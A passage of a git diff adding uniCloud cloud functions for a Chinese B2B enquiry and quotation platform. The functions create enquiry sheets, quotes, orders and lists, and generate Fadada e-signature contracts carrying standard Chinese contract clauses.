+ seller: sellerUser.accountType === 2 ? sellerUser.company.companyName : sellerUser.person.personName,
+ buyer: buyerUser.accountType === 2 ? buyerUser.company.companyName : buyerUser.person.personName,
+ date: dayjs().format('YYYY年MM月DD日'),
+ sellerSignDate: dayjs(signEndDate).format('YYYY年MM月DD日 HH时mm分'),
+ buyerSignDate: dayjs(signEndDate).format('YYYY年MM月DD日 HH时mm分'),
+ // time: dayjs().format('HH:mm'),
+ contractNo: fadadaContractId,
+ region: sheet.addressRegion.province.name + sheet.addressRegion.city.name + sheet.addressRegion.area.name,
+ detail,
+ info,
+ // content: '无',
+ tradeInfo,
+ expressRequire,
+ defaultDuty: '1.乙方所交产品品种、型号、规格、质量不符合规定的,如果甲方同意利用,应当按质论价;如果甲方不能利用的,应根据产品的具体情况,由乙方负责包换或包修,并承担修理、调换或退货而支付的实际费用;2.乙方不予供货违约责任为甲方的实际损失+违约金,如乙方材料符合订货标准,甲方不能退货和不收货,甲方无条件应按实际本合同订货数量支付100%货款,并支付乙方因此产生的实际费用。带有甲乙双方单位相关收货人和发货人签字的本合同的发货清单事项和内容均视为本合同的补充合同,与本合同有相同的法律效力,双方应共同遵照执行。',
+ solve: '1、凡因本合同引起的或与本合同有关的任何争议,均可友好协商或仲裁解决,协商或仲裁不成的,双方协商同意在合同签订地人民法院管辖地起诉,违约一方或对合同争议承担主要责任的一方,应承担对方因仲裁和起诉而产生的全部律师代理费、鉴定(检验)费、诉讼保全费、诉讼保险费、公告费、差旅费、执行费、误工費和获取证据产生费用等其他相关费用。2、双方本合同相关权利放弃均应有双方书面作出并加盖公章或授权委托人签字后生效。',
+ forceMajeure: '甲乙双方的任何一方由于不可抗力或突发公共事件的原因不能履行合同时,应及时向对方通报不能履行或不能完全履行的理由,以减轻可能给对方造成的损失,在取得有关机构证明以后,允许延期履行、部分履行或者不履行合同,并根据情况可部分或全部免予承担违约责任。',
+ other: '本合同的全部内容由双方平等共同协商一致,共同起草制定,非一方事先拟定,不属于格式条款。本合同自双方签字盖章后生效(包括电子签字、盖章),按本合同内容地址、联系方式寄送的一切文书、函件送达与否,均为视为送达有法律效力,通知途径和本合同内联系方式或地址送达文件双方均予以验证。',
+ buyerSupplement: sheet.supplementary ? sheet.supplementary : '无',
+ sellerSupplement: quote.supplierExt ? quote.supplierExt : '无',
+ buyerAddress: buyerUser.accountType === 2 ? buyerUser.company.mailAddress : buyerUser.person.address,
+ sellerAddress: sellerUser.accountType === 2 ? sellerUser.company.mailAddress : sellerUser.person.address,
+ buyerLegal: buyerUser.accountType === 2 ? buyerUser.company.legalName : '',
+ sellerLegal: sellerUser.accountType === 2 ? sellerUser.company.legalName : '',
+ // buyerAgent: buyerUser.accountType === 2 ? buyerUser.manager.personName : '',
+ buyerAgent: sheet.businessName,
+ sellerAgent: sellerUser.accountType === 2 ? sellerUser.manager.personName : '',
+ // buyerMobile: buyerUser.accountType === 2 ? buyerUser.manager.mobile : buyerUser.person.mobile,
+ buyerMobile: sheet.businessMobile,
+ sellerMobile: sellerUser.accountType === 2 ? sellerUser.manager.mobile : sellerUser.person.mobile,
+ buyerBankName,
+ sellerBankName,
+ buyerAccount,
+ sellerAccount,
+ buyerBankAccountName,
+ sellerBankAccountName,
+ signName: sheet.signName ? sheet.signName : '',
+ signIdCard: sheet.signIdCard ? sheet.signIdCard : '',
+ }
+ // for (let i = 0; i < fieldList.length; i++) {
+ //
+ // const field = fieldList[i]
+ // parameter[field.field] = ''
+ // }
+ const uploaddocs = await pubFun.fadada('generate_contract.api', {
+ template_id: templateId.content,
+ contract_id: contractTransactionId,
+ parameter_map: JSON.stringify(parameter)
+ })
+ let otherFileResList = []
+ // 存在附件则合并
+ // if (sheet.files && sheet.files.length > 0) {
+ // for (let i = 0; i < sheet.files.length; i++) {
+ // otherFileResList.push(contractTransactionId + i.toString())
+ // await pubFun.fadada('uploaddocs.api', {
+ // contract_id: contractTransactionId + i.toString(),
+ // doc_title: sheet.title + `:附件${i + 1}`,
+ // doc_url: sheet.files[i],
+ // doc_type: '.pdf'
+ // })
+ // }
+ // otherFileResList.unshift(contractTransactionId)
+ //
+ // // 合并接口
+ // contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ // const mergeRes = await pubFun.fadada('merge_contract.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // contract_ids: otherFileResList.join()
+ // })
+ // console.log('mergeRes', mergeRes)
+ // console.log('otherFileResList', otherFileResList)
+ // }
+ // 存在附件则合并
+ if (quote.files && quote.files.length > 0) {
+ for (let i = 0; i < quote.files.length; i++) {
+ otherFileResList.push(contractTransactionId + 'qf' + i.toString())
+ await pubFun.fadada('uploaddocs.api', {
+ contract_id: contractTransactionId + 'qf' + i.toString(),
+ doc_title: sheet.title + `:附件${i + 1}`,
+ doc_url: quote.files[i],
+ doc_type: '.pdf'
+ })
+ }
+ otherFileResList.unshift(contractTransactionId)
+
+ // 合并接口
+ contractTransactionId = vk.pubfn.createOrderNo("MC", 20)
+ const mergeRes = await pubFun.fadada('merge_contract.api', {
+ contract_id: contractTransactionId,
+ doc_title: sheet.title,
+ contract_ids: otherFileResList.join()
+ })
+ console.log('quote mergeRes', mergeRes)
+ console.log('quote otherFileResList', otherFileResList)
+ }
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId
+ },
+ dataJson: {
+ transactionId: contractTransactionId,
+ }
+ })
+ if (parseInt(uploaddocs.code) === 1000) {
+ await vk.baseDao.update({
+ dbName: dbName.contract,
+ whereJson: {
+ _id: contractId,
+ userId: uid
+ },
+ dataJson: {
+ status: 1,
+ docTitle: sheet.title,
+ signEndDate,
+ otherFile: '',
+ contractBase: null,
+ buyerSignKeyword: buyerKeyword.content,
+ sellerSignKeyword: sellerKeyword.content
+ }
+ })
+ // await vk.baseDao.updateAndReturn({
+ // dbName: 'jjx-enquiry-sheet',
+ // whereJson: {
+ // _id: quote.sheetId
+ // },
+ // dataJson: {
+ // status: 2
+ // }
+ // })
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `询价:${sheet.title}待签合同`,
+ content: `您报价的询价信息已创建合同,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: quote.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474455034')
+ res.data = uploaddocs.result
+ } else {
+ return {
+ code: -1,
+ msg: uploaddocs.msg
+ }
+ }
+ }
+ } else {
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid: uid,
+ sellerUid: quote.userId,
+ orderStatus: 0,
+ payStatus: 0,
+ type: 4,
+ amount: quote.totalPrice,
+ offAmount: quote.totalPrice,
+ signMethod: 1,
+ sheetId: quote.sheetId,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: null,
+ num: 1,
+ goodsName: productTitle || '询价单',
+ goodsPrice: quote.totalPrice,
+ goodsCover: null,
+ }
+ })
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/getList.js
new file mode 100644
index 0000000..6f7a67c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/getList.js
@@ -0,0 +1,39 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取用户发布的询价单
+ * @url client/enquiry/sheet/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, keyword, categoryIds, provinceCodes, formData, status, isSeller} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-quote";
+
+ let whereJson = {userId: uid};
+
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ getCount: true,
+ whereJson,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "jjx-enquiry-sheet",
+ localKey: "sheetId",
+ foreignKey: "_id",
+ as: "sheet",
+ limit: 1,
+ },
+ ]
+ });
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/uploadTemplate.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/uploadTemplate.js
new file mode 100644
index 0000000..10cb5c3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/uploadTemplate.js
@@ -0,0 +1,30 @@
+'use strict';
+module.exports = {
+ /**
+ * 上传合同
+ * @url client/enquiry/quote/kh/uploadTemplate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, base64 } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const file = pubFun.base64ToFile(base64, 'adv.pdf')
+
+ res.data = await pubFun.fadada('upload_template_docs.api', {
+ contract_template_id: vk.pubfn.createOrderNo("Contract", 25),
+ template_name: 'template_name',
+ file: file
+ })
+
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quoteNum/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quoteNum/kh/add.js
new file mode 100644
index 0000000..0045832
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quoteNum/kh/add.js
@@ -0,0 +1,121 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ // 生成询价编号
+
+ let amountItem, amount, goodsName, id, sheet, isSingleQuote = false
+ if (data.buyQuoteMode === 'single') {
+ switch (data.type) {
+ case 'enquiry' : {
+ sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-enquiry-sheet",
+ whereJson: {
+ _id: data.id
+ }
+ })
+ }
+ break;
+ case 'old' : {
+ sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-old",
+ whereJson: {
+ _id: data.id
+ }
+ })
+ }
+ break;
+ case 'process' : {
+ sheet = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-process-sheet",
+ whereJson: {
+ _id: data.id
+ }
+ })
+ }
+ break;
+ }
+ id = '6587b034466d41a591df881c'
+ amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id
+ })
+ if (sheet.quoteAmount) {
+ amount = sheet.quoteAmount
+ isSingleQuote = true
+ } else {
+ amount = amountItem.content
+ }
+ goodsName = '单次报价购买'
+ } else {
+ id = data.buyQuoteMode
+ amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-quote-num-config',
+ id
+ })
+ amount = amountItem.amount
+ goodsName = `${amountItem.name}报价购买`
+ }
+
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 7,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: id,
+ mode: data.buyQuoteMode === 'single' ? 'single' : 'monthly',
+ num: 1,
+ goodsName,
+ goodsPrice: amount,
+ goodsCover: null,
+ isSingleQuote,
+ sheetId: data.id,
+ type: data.type,
+ }
+ })
+
+ res.data = orderId
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/add.js
new file mode 100644
index 0000000..ca443d7
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/add.js
@@ -0,0 +1,65 @@
+'use strict';
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+const DEFAULT_NOTARY_SERVICE_RATE = 0.1;
+
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ // 生成询价编号
+
+ if (!userInfo.fadadaConfirm && userInfo.authStatus === 1) {
+ return {
+ code: 1,
+ msg: '请先完成认证'
+ }
+ } else if (!userInfo.businessCard) {
+ return {
+ code: 1,
+ msg: '请完善名片信息'
+ }
+ } else {
+ if (userInfo.businessCard.status !== 1) {
+ return {
+ code: 1,
+ msg: '您的名片信息未审核,请耐心等待'
+ }
+ }
+ }
+
+ // 这里需要把 params1 params2 params3 改成你数据库里允许用户添加的字段
+ let dbName = "jjx-enquiry-sheet";
+ const notaryServiceRate = data.tradeMethod === 1
+ ? ((data.notaryServiceRate === undefined || data.notaryServiceRate === null || data.notaryServiceRate === '') ? DEFAULT_NOTARY_SERVICE_RATE : data.notaryServiceRate)
+ : null
+ res.id = await vk.baseDao.add({
+ dbName,
+ dataJson: {
+ ...data,
+ ...{
+ answerNumber: 0,
+ userId: uid,
+ status: 0,
+ quoteNum: 0,
+ isShow: 0,
+ notaryServiceRate
+ },
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/changeToOnlineSign.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/changeToOnlineSign.js
new file mode 100644
index 0000000..2a3b335
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/changeToOnlineSign.js
@@ -0,0 +1,155 @@
+'use strict';
+const dbName = require("../../../../../dao/config");
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/changeToOnlineSign 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-enquiry-sheet",
+ whereJson: {
+ _id: data.id
+ },
+ dataJson: {
+ signMethod: 0,
+ status: 1
+ }
+ });
+
+ const quote = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-enquiry-quote",
+ whereJson: {
+ sheetId: data.id,
+ status: 1
+ }
+ });
+
+ if (quote) {
+
+
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ const contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'enquiry',
+ quoteId: quote.id,
+ sheetId: quote.sheetId,
+ productList: quote.productList,
+ productTitle: sheet.title,
+ tradeMethod: 0,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: contractTransactionId,
+ amount: quote.totalPrice,
+ docTitle: sheet.title
+ }
+ })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ }
+ ])
+ }
+ // const contractFile = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d36befe975f63af1f24e7'
+ // })
+ // const signMaxDate = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d78958b0da41d311bd94c'
+ // })
+ // const buyerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37972139294200fc9a01'
+ // })
+ // const sellerSignKeyword = await vk.baseDao.findById({
+ // dbName: 'jjx-dict',
+ // id: '657d37a609664c4f4a5c4afb'
+ // })
+ // const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ // day: parseInt(signMaxDate.content),
+ // mode: "after",
+ // });
+ //
+ // const uploaddocs = await pubFun.fadada('uploaddocs.api', {
+ // contract_id: contractTransactionId,
+ // doc_title: sheet.title,
+ // doc_url: contractFile.content,
+ // // file: doc_url,
+ // doc_type: '.pdf'
+ // })
+ // if (parseInt(uploaddocs.code) === 1000) {
+ // await vk.baseDao.updateAndReturn({
+ // dbName: dbName.contract,
+ // whereJson: {
+ // _id: contractId,
+ // userId: uid
+ // },
+ // dataJson: {
+ // status: 1,
+ // docTitle: sheet.title,
+ // signEndDate,
+ // otherFile: '',
+ // contractBase: contractFile.content,
+ // buyerSignKeyword: buyerSignKeyword.content,
+ // sellerSignKeyword: sellerSignKeyword.content
+ // }
+ // })
+ // await vk.baseDao.updateAndReturn({
+ // dbName: 'jjx-enquiry-sheet',
+ // whereJson: {
+ // _id: data.id
+ // },
+ // dataJson: {
+ // status: 2
+ // }
+ // })
+ //
+ // res.data = uploaddocs.result
+ // } else {
+ // return {
+ // code: -1,
+ // msg: uploaddocs.msg
+ // }
+ // }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/delete.js
new file mode 100644
index 0000000..d001742
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/delete.js
@@ -0,0 +1,28 @@
+'use strict';
+const dbName = require('../../../../../dao/config.js')
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/enquiry/sheet/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let { _id } = data;
+ if(vk.pubfn.isNull(_id)){
+ return { code : -1, msg : 'id不能为空' };
+ }
+ await vk.baseDao.deleteById({
+ dbName: dbName.enquirySheet,
+ id:_id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/getList.js
new file mode 100644
index 0000000..839ccec
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/kh/getList.js
@@ -0,0 +1,186 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取用户发布的询价单
+ * @url client/enquiry/sheet/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize, keyword, categoryIds, provinceCodes, formData, status, isSeller} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-sheet";
+
+
+ let whereJson = {isShow: 1};
+
+ if (vk.pubfn.isNotNull(keyword)) whereJson.title = new RegExp(keyword)
+
+ if (vk.pubfn.isNotNull(isSeller) && isSeller) whereJson.otherUid = uid
+ else whereJson.userId = uid
+
+ if (vk.pubfn.isNotNull(status) && status !== 'all') {
+ if (status === 'noQuote') {
+ whereJson.quoteNum = 0
+ whereJson.status = 0
+ }
+ else if (status === 'notPick') {
+ whereJson.quoteNum = _.gt(0)
+ whereJson.status = 0
+ }
+ else if (status === 'picked') whereJson.status = _.in([1, 2])
+ }
+
+ if (formData && formData.hasOwnProperty('companyList') && vk.pubfn.isNotNull(formData.companyList)) {
+ whereJson.userId = _.in(formData.companyList)
+ }
+
+ if (formData && formData.hasOwnProperty('categoryIds') && vk.pubfn.isNotNull(formData.categoryIds)) {
+ whereJson.categoryIds = _.in(formData.categoryIds)
+ }
+
+ // if (vk.pubfn.isNotNull(provinceCodes)) {
+ // whereJson['address.province.code'] = _.in(provinceCodes)
+ // }
+
+ // console.log('whereJson', whereJson)
+
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex,
+ pageSize,
+ getCount: true,
+ whereJson,
+ sortArr: [{name: "_add_time", type: "desc"}],
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+ {
+ dbName: "uni-id-users",
+ localKey: "otherUid",
+ foreignKey: "_id",
+ as: "otherUser",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true,
+ mobile: true
+ },
+ person: {
+ personName: true,
+ mobile: true
+ },
+ businessCard: true,
+ accountType: true,
+ },
+ },
+ {
+ dbName: "jjx-enquiry-quote",
+ localKey: "_id",
+ foreignKey: "sheetId",
+ as: "quoteList",
+ limit: 500, // limit=1则以对象形式返回
+ }
+ ]
+ });
+
+ const rows = res.rows
+ const rowIds = rows.map(item => item._id)
+ const orderMap = {}
+ if (rowIds.length > 0) {
+ const orderRes = await vk.baseDao.select({
+ dbName: 'jjx-order',
+ whereJson: {
+ sheetId: _.in(rowIds)
+ },
+ sortArr: [{name: "_add_time", type: "desc"}]
+ })
+ if (orderRes && orderRes.rows) {
+ orderRes.rows.forEach(order => {
+ if (!orderMap[order.sheetId]) orderMap[order.sheetId] = order
+ })
+ }
+ }
+ for (let i = 0; i < rows.length; i++) {
+ const row = rows[i];
+ row.order = orderMap[row._id] || null
+ for (let j = 0; j < row.productList.length; j++) {
+ const product = rows[i].productList[j]
+ if (product && product.goodsId) {
+ rows[i].productList[j].template = await vk.baseDao.findById({
+ dbName,
+ id: product.goodsId
+ });
+ }
+ }
+ row.contract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-contract',
+ whereJson: {
+ sheetId: row._id,
+ type: 'enquiry',
+ },
+ })
+ }
+
+ res.notPickNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ isShow: 1,
+ userId: uid,
+ status: 0,
+ quoteNum: _.gt(0)
+ },
+ });
+
+ res.pickedNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ isShow: 1,
+ userId: uid,
+ status: _.in([1, 2])
+ },
+ });
+
+ res.noQuoteNum = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ isShow: 1,
+ userId: uid,
+ quoteNum: 0,
+ status: 0
+ },
+ });
+
+ res.all = await vk.baseDao.count({
+ dbName,
+ whereJson: {
+ isShow: 1,
+ userId: uid,
+ },
+ });
+
+ res.rows = rows
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getDetail.js
new file mode 100644
index 0000000..2c811be
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getDetail.js
@@ -0,0 +1,74 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取报价单详情
+ * @url client/enquiry/sheet/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, _id } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-sheet";
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName,
+ whereJson: {
+ _id: _id
+ },
+ // foreignDB: [
+ // {
+ // dbName:"uni-id-users",
+ // localKey:"userId",
+ // foreignKey:"_id",
+ // as:"user",
+ // limit:1, // limit=1则以对象形式返回
+ // fieldJson:{
+ // _id: true,
+ // company: {
+ // companyName: true,
+ // mobile: true,
+ // },
+ // person: {
+ // personName: true,
+ // mobile: true,
+ // },
+ // businessCard: true,
+ // accountType: true,
+ // },
+ // }
+ // ]
+ });
+
+ res.data.user = await vk.baseDao.findByWhereJson({
+ dbName:"uni-id-users",
+ whereJson: {
+ _id: res.data.userId
+ }
+ })
+ if (res.data.user && (res.data.user.isNotaryBusiness === undefined || res.data.user.isNotaryBusiness === null)) {
+ res.data.user.isNotaryBusiness = res.data.user.notaryUnionPayProfile && res.data.user.notaryUnionPayProfile.status === 1 ? 1 : 0
+ }
+
+ res.data.quoteList = []
+ const quoteList = await vk.baseDao.select({
+ dbName: "jjx-enquiry-quote",
+ whereJson: {
+ sheetId: _id
+ }
+ })
+
+ res.data.hasQuote = false
+ res.data.isMine = res.data.userId === uid
+ quoteList.rows.forEach(quote => {
+ if (quote.userId === uid) res.data.hasQuote = true
+ })
+
+ if (quoteList.rows.length > 0) res.data.quoteList = quoteList.rows
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getList.js
new file mode 100644
index 0000000..8cece7f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/sheet/pub/getList.js
@@ -0,0 +1,195 @@
+'use strict';
+const dayjs = require("dayjs");
+
+module.exports = {
+ /**
+ * 获取用户发布的询价单
+ * @url client/enquiry/sheet/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {
+ uid,
+ pageIndex,
+ pageSize,
+ keyword,
+ categoryIds,
+ provinceCodes,
+ formData,
+ status,
+ companyList,
+ cateList,
+ material,
+ area,
+ latest,
+ } = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-sheet";
+
+
+ // const andArr = [];
+ let whereJson = {isShow: 1}
+ if (data.userId && vk.pubfn.isNotNull(data.userId)) {
+ // andArr.push({userId: data.userId})
+ whereJson.userId = data.userId
+ } else {
+ // andArr.push({status: 0})
+ whereJson.status = 0
+ }
+
+ if (vk.pubfn.isNotNull(keyword)) {
+ whereJson.title = new RegExp(keyword)
+ }
+
+ if (vk.pubfn.isNotNull(area)) {
+ console.log(area.length)
+ if (area.length === 3) whereJson['addressRegion.area.code'] = area[2]
+ if (area.length === 2) whereJson['addressRegion.city.code'] = area[1]
+ if (area.length === 1) whereJson['addressRegion.province.code'] = area[0]
+ }
+
+ if (vk.pubfn.isNotNull(latest)) {
+ whereJson['answerStartTime'] = _.gte(dayjs().format('YYYY-MM-DD HH:mm:ss'))
+ }
+
+ if (vk.pubfn.isNotNull(status) && status !== 'all') {
+ // if (status === 'noQuote') andArr.push({quoteNum: 0})
+ // else if (status === 'notPick') andArr.push({status: 0})
+ // else if (status === 'picked') andArr.push({status: 1})
+ if (status === 'noQuote') whereJson.quoteNum = 0
+ else if (status === 'notPick') whereJson.status = 0
+ else if (status === 'picked') whereJson.status = 1
+ }
+
+ if (formData && formData.hasOwnProperty('companyList') && vk.pubfn.isNotNull(formData.companyList)) {
+ // andArr.push({userId: _.in(formData.companyList)})
+ whereJson.stealFactory = _.in(formData.companyList)
+ }
+
+ if (vk.pubfn.isNotNull(companyList)) {
